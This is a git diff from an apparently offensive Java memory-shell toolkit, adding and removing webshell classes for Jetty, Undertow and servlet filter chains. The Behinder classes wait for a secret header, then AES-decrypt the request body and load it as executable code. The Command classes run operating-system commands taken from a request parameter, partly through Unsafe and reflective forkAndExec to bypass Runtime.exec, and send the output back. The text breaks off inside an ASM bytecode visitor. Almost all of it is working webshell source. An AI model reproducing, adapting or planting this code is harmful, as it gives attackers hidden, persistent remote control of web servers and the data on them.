+import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.security.Key; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class Behinder extends ClassLoader { + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public Behinder() { + } + + public Behinder(ClassLoader c) { + super(c); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object request = unwrapRequest(args[0]); + Object response = unwrapResponse(args[1]); + + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + Object session = request.getClass().getMethod("getSession").invoke(request); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); + Map map = new HashMap(3); + map.put("request", request); + map.put("response", response); + map.put("session", session); + String parameter = ((BufferedReader) request.getClass().getMethod("getReader").invoke(request)).readLine(); + byte[] bytes = x(base64Decode(parameter)); + Object instance = (new Behinder(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance(); + instance.equals(map); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return false; + } + + public byte[] x(byte[] s) { + try { + Class cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader()); + Class secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader()); + Constructor constructor = secretKeySpecClass.getConstructor(byte[].class, String.class); + Method initMethod = cipherClass.getMethod("init", int.class, Key.class); + Object c = cipherClass.getMethod("getInstance", String.class).invoke(null, "AES"); + initMethod.invoke(c, 2, constructor.newInstance(pass.getBytes(), "AES")); + Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); + return ((byte[]) doFinalMethod.invoke(c, s)); + } catch (Exception ignored) { + return null; + } + } + + + public Object unwrapRequest(Object request) { + Object internalRequest = request; + while (true) { + try { + Object r = getFieldValue(request, "request"); + if (r == internalRequest) { + return r; + } else { + internalRequest = r; + } + } catch (Exception e) { + return internalRequest; + } + } + } + + public Object unwrapResponse(Object response) { + Object internalResponse = response; + while (true) { + try { + Object r = getFieldValue(response, "response"); + if (r == internalResponse) { + return r; + } else { + internalResponse = r; + } + } catch (Exception e) { + return internalResponse; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64", false, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder", false, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static Object invokeInternalMethod(Object obj, String methodName) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + method = clazz.getMethod(methodName); + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilterChainAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilterChainAdvisor.java deleted file mode 100644 index c6875d6d..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilterChainAdvisor.java +++ /dev/null @@ -1,83 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.behinder; - -import net.bytebuddy.asm.Advice; - -import java.io.BufferedReader; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - */ -public class BehinderFilterChainAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 0) Object request, - @Advice.Argument(value = 1) Object res - ) { - String pass = "pass"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - Map obj = new HashMap(3); - obj.put("request", request); - Object response = res; - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField("response"); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field != null) { - field.setAccessible(true); - response = field.get(response); - } - obj.put("response", response); - Object session = request.getClass().getMethod("getSession").invoke(request); - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); - obj.put("session", session); - byte[] data = null; - Class base64; - BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); - String parameter = reader.readLine(); - try { - base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - Class cipherClass = Class.forName("javax.crypto.Cipher", true, Thread.currentThread().getContextClassLoader()); - Class secretKeySpecClass = Class.forName("javax.crypto.spec.SecretKeySpec", true, Thread.currentThread().getContextClassLoader()); - Class keyClass = Class.forName("java.security.Key", true, Thread.currentThread().getContextClassLoader()); - Object cipher = cipherClass.getMethod("getInstance", String.class).invoke(cipherClass, "AES"); - Object secretKeySpec = secretKeySpecClass.getConstructor(byte[].class, String.class).newInstance(pass.getBytes(), "AES"); - Method cipherInitMethod = cipherClass.getMethod("init", int.class, keyClass); - Method doFinalMethod = cipherClass.getMethod("doFinal", byte[].class); - cipherInitMethod.invoke(cipher, 2, secretKeySpec); - byte[] bytes = (byte[]) doFinalMethod.invoke(cipher, data); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length); - Object instance = payload.newInstance(); - instance.equals(obj); - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java new file mode 100644 index 00000000..ca40c245 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderJettyHandler.java @@ -0,0 +1,129 @@ +package com.reajason.javaweb.memshell.shelltool.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.BufferedReader; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderJettyHandler extends ClassLoader { + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public BehinderJettyHandler() { + } + + public BehinderJettyHandler(ClassLoader c) { + super(c); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object baseRequest = null; + Object request = null; + Object response = null; + if (args.length == 4) { + Object arg4 = args[3]; + baseRequest = args[1]; + if (arg4 instanceof Integer) { + // jetty6 + request = args[1]; + response = args[2]; + } else { + request = args[2]; + response = args[3]; + } + } else { + // ee10 + request = args[0]; + response = args[1]; + } + + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + if (baseRequest != null) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + } + Object session = request.getClass().getMethod("getSession").invoke(request); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); + Map map = new HashMap(3); + map.put("request", request); + map.put("response", getInternalResponse(response)); + map.put("session", session); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); + BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); + String parameter = reader.readLine(); + byte[] bytes = c.doFinal(base64Decode(parameter)); + Object instance = (new BehinderJettyHandler(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(map); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return false; + } + + public Object getInternalResponse(Object response) { + while (true) { + try { + response = getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java new file mode 100644 index 00000000..926b1f61 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderUndertowServletHandler.java @@ -0,0 +1,114 @@ +package com.reajason.javaweb.memshell.shelltool.behinder; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.BufferedReader; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class BehinderUndertowServletHandler extends ClassLoader { + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public BehinderUndertowServletHandler() { + } + + public BehinderUndertowServletHandler(ClassLoader c) { + super(c); + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object servletRequestContext = null; + if (args.length == 2) { + servletRequestContext = args[1]; + } else { + servletRequestContext = args[2]; + } + try { + Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); + Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + Object session = request.getClass().getMethod("getSession").invoke(request); + session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); + Map map = new HashMap(3); + map.put("request", request); + map.put("response", getInternalResponse(response)); + map.put("session", session); + Cipher c = Cipher.getInstance("AES"); + c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); + BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); + String parameter = reader.readLine(); + byte[] bytes = c.doFinal(base64Decode(parameter)); + Object instance = (new BehinderUndertowServletHandler(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(map); + return true; + } + } catch (Throwable e) { + e.printStackTrace(); + } + return false; + } + + public Object getInternalResponse(Object response) { + while (true) { + try { + response = getFieldValue(response, "response"); + } catch (Exception e) { + return response; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/jetty/BehinderHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/jetty/BehinderHandlerAdvisor.java deleted file mode 100644 index 3c1083ec..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/jetty/BehinderHandlerAdvisor.java +++ /dev/null @@ -1,81 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.behinder.jetty; - -import net.bytebuddy.asm.Advice; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import java.io.BufferedReader; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - */ -public class BehinderHandlerAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 1) Object baseRequest, - @Advice.Argument(value = 2) Object request, - @Advice.Argument(value = 3) Object res - ) { - String pass = "pass"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); - Map obj = new HashMap(3); - obj.put("request", request); - Object response = res; - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField("response"); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field != null) { - field.setAccessible(true); - response = field.get(response); - } - obj.put("response", response); - Object session = request.getClass().getMethod("getSession").invoke(request); - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); - obj.put("session", session); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); - byte[] data = null; - Class base64; - BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); - String parameter = reader.readLine(); - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - byte[] bytes = c.doFinal(data); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length); - Object instance = payload.newInstance(); - instance.equals(obj); - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/undertow/BehinderServletInitialHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/undertow/BehinderServletInitialHandlerAdvisor.java deleted file mode 100644 index ef0f0b5f..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/undertow/BehinderServletInitialHandlerAdvisor.java +++ /dev/null @@ -1,86 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.behinder.undertow; - -import net.bytebuddy.asm.Advice; - -import javax.crypto.Cipher; -import javax.crypto.spec.SecretKeySpec; -import java.io.BufferedReader; -import java.lang.reflect.Field; -import java.lang.reflect.Method; -import java.util.HashMap; -import java.util.Map; - -/** - * @author ReaJason - */ -public class BehinderServletInitialHandlerAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.AllArguments Object[] args - ) { - String pass = "pass"; - String headerName = "headerName"; - String headerValue = "headerValue"; - try { - Object servletRequestContext = null; - if (args.length == 2) { - servletRequestContext = args[1]; - } else { - servletRequestContext = args[2]; - } - Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); - Object res = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); - String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); - if (value != null - && value.contains(headerValue)) { - Map obj = new HashMap(3); - obj.put("request", request); - Object response = res; - Field field = null; - Class clazz = obj.getClass(); - while (clazz != Object.class) { - try { - field = clazz.getDeclaredField("response"); - break; - } catch (NoSuchFieldException var5) { - clazz = clazz.getSuperclass(); - } - } - if (field != null) { - field.setAccessible(true); - response = field.get(response); - } - obj.put("response", response); - Object session = request.getClass().getMethod("getSession").invoke(request); - session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, "u", pass); - obj.put("session", session); - Cipher c = Cipher.getInstance("AES"); - c.init(2, new SecretKeySpec(pass.getBytes(), "AES")); - byte[] data = null; - Class base64; - BufferedReader reader = (BufferedReader) request.getClass().getMethod("getReader").invoke(request); - String parameter = reader.readLine(); - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); - data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); - } catch (Exception var6) { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); - } - byte[] bytes = c.doFinal(data); - Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); - defineClass.setAccessible(true); - Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), bytes, 0, bytes.length); - Object instance = payload.newInstance(); - instance.equals(obj); - return true; - } - } catch (Exception e) { - e.printStackTrace(); - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java new file mode 100644 index 00000000..63a5548a --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/Command.java @@ -0,0 +1,199 @@ +package com.reajason.javaweb.memshell.shelltool.command; + +import sun.misc.Unsafe; + +import java.io.InputStream; +import java.io.OutputStream; +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/5/15 + */ +public class Command { + public static String paramName; + + public String getParam(String param) { + return param; + } + + @Override + public boolean equals(Object obj) { + Object[] args = ((Object[]) obj); + Object request = unwrapRequest(args[0]); + Object response = unwrapResponse(args[1]); + try { + String cmd = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); + if (cmd != null) { + InputStream inputStream = null; + try { + inputStream = forkAndExec(cmd); + } catch (Throwable e) { + inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); + } + OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); + byte[] buf = new byte[8192]; + int length; + while ((length = inputStream.read(buf)) != -1) { + outputStream.write(buf, 0, length); + } + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } + + public InputStream getInputStream(String cmd) { + return null; + } + + @SuppressWarnings("all") + public static InputStream forkAndExec(String cmd) throws Exception { + String[] strs = cmd.split("\\s+"); + Field theUnsafeField = Unsafe.class.getDeclaredField("theUnsafe"); + theUnsafeField.setAccessible(true); + Unsafe unsafe = (Unsafe) theUnsafeField.get(null); + + Class processClass = null; + + try { + processClass = Class.forName("java.lang.UNIXProcess"); + } catch (ClassNotFoundException e) { + processClass = Class.forName("java.lang.ProcessImpl"); + } + Object processObject = unsafe.allocateInstance(processClass); + + byte[][] args = new byte[strs.length - 1][]; + int size = args.length; + + for (int i = 0; i < args.length; i++) { + args[i] = strs[i + 1].getBytes(); + size += args[i].length; + } + + byte[] argBlock = new byte[size]; + int i = 0; + + for (byte[] arg : args) { + System.arraycopy(arg, 0, argBlock, i, arg.length); + i += arg.length + 1; + } + + int[] envc = new int[1]; + int[] std_fds = new int[]{-1, -1, -1}; + byte[] result = toCString(strs[0]); + try { + Field helperpathField = processClass.getDeclaredField("helperpath"); + helperpathField.setAccessible(true); + byte[] helperpathObject = (byte[]) helperpathField.get(processObject); + + Field launchMechanismField = processClass.getDeclaredField("launchMechanism"); + launchMechanismField.setAccessible(true); + Object launchMechanismObject = launchMechanismField.get(processObject); + int mode = 0; + try { + Field value = launchMechanismObject.getClass().getDeclaredField("value"); + value.setAccessible(true); + mode = (Integer) value.get(launchMechanismObject); + } catch (NoSuchFieldException e) { + int ordinal = (Integer) launchMechanismObject.getClass().getMethod("ordinal").invoke(launchMechanismObject); + mode = ordinal + 1; + } + + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, mode, helperpathObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } catch (NoSuchFieldException e) { + // JDK7 + Method forkMethod = processClass.getDeclaredMethod("forkAndExec", byte[].class, byte[].class, int.class, + byte[].class, int.class, byte[].class, int[].class, boolean.class); + forkMethod.setAccessible(true); + forkMethod.invoke(processObject, result, argBlock, args.length, + null, envc[0], null, std_fds, false); + } + + try { + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds); + } catch (NoSuchMethodException e) { + // JDK11 + Method initStreamsMethod = processClass.getDeclaredMethod("initStreams", int[].class, boolean.class); + initStreamsMethod.setAccessible(true); + initStreamsMethod.invoke(processObject, std_fds, false); + } + + Method getInputStreamMethod = processClass.getMethod("getInputStream"); + getInputStreamMethod.setAccessible(true); + return (InputStream) getInputStreamMethod.invoke(processObject); + } + + private static byte[] toCString(String s) { + if (s == null) + return null; + byte[] bytes = s.getBytes(); + byte[] result = new byte[bytes.length + 1]; + System.arraycopy(bytes, 0, + result, 0, + bytes.length); + result[result.length - 1] = (byte) 0; + return result; + } + + public Object unwrapRequest(Object request) { + Object internalRequest = request; + while (true) { + try { + Object r = getFieldValue(request, "request"); + if (r == internalRequest) { + return r; + } else { + internalRequest = r; + } + } catch (Exception e) { + return internalRequest; + } + } + } + + public Object unwrapResponse(Object response) { + Object internalResponse = response; + while (true) { + try { + Object r = getFieldValue(response, "response"); + if (r == internalResponse) { + return r; + } else { + internalResponse = r; + } + } catch (Exception e) { + return internalResponse; + } + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisor.java deleted file mode 100644 index 6a825ae7..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAdvisor.java +++ /dev/null @@ -1,36 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.command; - -import net.bytebuddy.asm.Advice; - -import java.io.InputStream; -import java.io.OutputStream; - -/** - * @author ReaJason - */ -public class CommandFilterChainAdvisor { - - @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) - public static boolean enter( - @Advice.Argument(value = 0) Object request, - @Advice.Argument(value = 1) Object response - ) { - String paramName = "paramName"; - try { - String cmd = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName); - if (cmd != null) { - Process exec = Runtime.getRuntime().exec(cmd); - InputStream inputStream = exec.getInputStream(); - OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); - byte[] buf = new byte[8192]; - int length; - while ((length = inputStream.read(buf)) != -1) { - outputStream.write(buf, 0, length); - } - return true; - } - } catch (Exception ignored) { - } - return false; - } -} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java deleted file mode 100644 index f832149d..00000000 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilterChainAsmMethodVisitor.java +++ /dev/null @@ -1,181 +0,0 @@ -package com.reajason.javaweb.memshell.shelltool.command; - -import org.objectweb.asm.Label; -import org.objectweb.asm.MethodVisitor; -import org.objectweb.asm.Opcodes; -import org.objectweb.asm.Type; - -/** - * @author ReaJason - * @since 2025/3/26 - */ -public class CommandFilterChainAsmMethodVisitor extends MethodVisitor { - - private final Type[] argumentTypes; - - public CommandFilterChainAsmMethodVisitor(MethodVisitor mv, Type[] argumentTypes) { - super(Opcodes.ASM9, mv); - this.argumentTypes = argumentTypes; - } - - @Override - public void visitCode() { - super.visitCode(); - - int startIndex = 1; - for (Type type : argumentTypes) { - startIndex += type.getSize(); - } - - // Explicitly define indices for all local variables - int paramNameIndex = startIndex; - int cmdIndex = startIndex + 1; - int processIndex = startIndex + 2; - int inputStreamIndex = startIndex + 3; - int outputStreamIndex = startIndex + 4; - int bufferIndex = startIndex + 5; - int lengthIndex = startIndex + 6; - int exceptionIndex = startIndex + 7; - - // Access method arguments - adjust based on whether method is static or not - int requestIndex = 1; // Arg index 1 - int responseIndex = 2; // Arg index 2 - - // Define our parameter name - mv.visitLdcInsn("paramName"); - mv.visitVarInsn(Opcodes.ASTORE, paramNameIndex); // Store "paramName" in local var 3 - - // Define labels for try-catch - Label tryStart = new Label(); - Label tryEnd = new Label(); - Label catchHandler = new Label(); - - // Register the try-catch block - THIS IS THE KEY PART THAT WAS MISSING - mv.visitTryCatchBlock(tryStart, tryEnd, catchHandler, "java/lang/Exception"); - - // Start of try block - mv.visitLabel(tryStart); - - // Get the parameter from request: request.getParameter(paramName) - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request (first param) - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Object", "getClass", - "()Ljava/lang/Class;", false); - mv.visitLdcInsn("getParameter"); - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Class"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitLdcInsn(Type.getType("Ljava/lang/String;")); - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Class", "getMethod", - "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false); - - // Invoke the getParameter method - mv.visitVarInsn(Opcodes.ALOAD, requestIndex); // Load request object - mv.visitInsn(Opcodes.ICONST_1); - mv.visitTypeInsn(Opcodes.ANEWARRAY, "java/lang/Object"); - mv.visitInsn(Opcodes.DUP); - mv.visitInsn(Opcodes.ICONST_0); - mv.visitVarInsn(Opcodes.ALOAD, paramNameIndex); // Load paramName - mv.visitInsn(Opcodes.AASTORE); - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", - "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false); - mv.visitTypeInsn(Opcodes.CHECKCAST, "java/lang/String"); - mv.visitVarInsn(Opcodes.ASTORE, cmdIndex); // Store cmd in local var 4 - - // Check if cmd is not null - mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); - Label ifNullLabel = new Label(); - mv.visitJumpInsn(Opcodes.IFNULL, ifNullLabel); - - // Execute the command: Process exec = Runtime.getRuntime().exec(cmd); - mv.visitMethodInsn(Opcodes.INVOKESTATIC, "java/lang/Runtime", "getRuntime", - "()Ljava/lang/Runtime;", false); - mv.visitVarInsn(Opcodes.ALOAD, cmdIndex); // Load cmd - mv.visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/Runtime", "exec", - "(Ljava/lang/String;)Ljava/lang/Process;", false); - mv.visitVarInsn(Opcodes.ASTORE, processIndex); 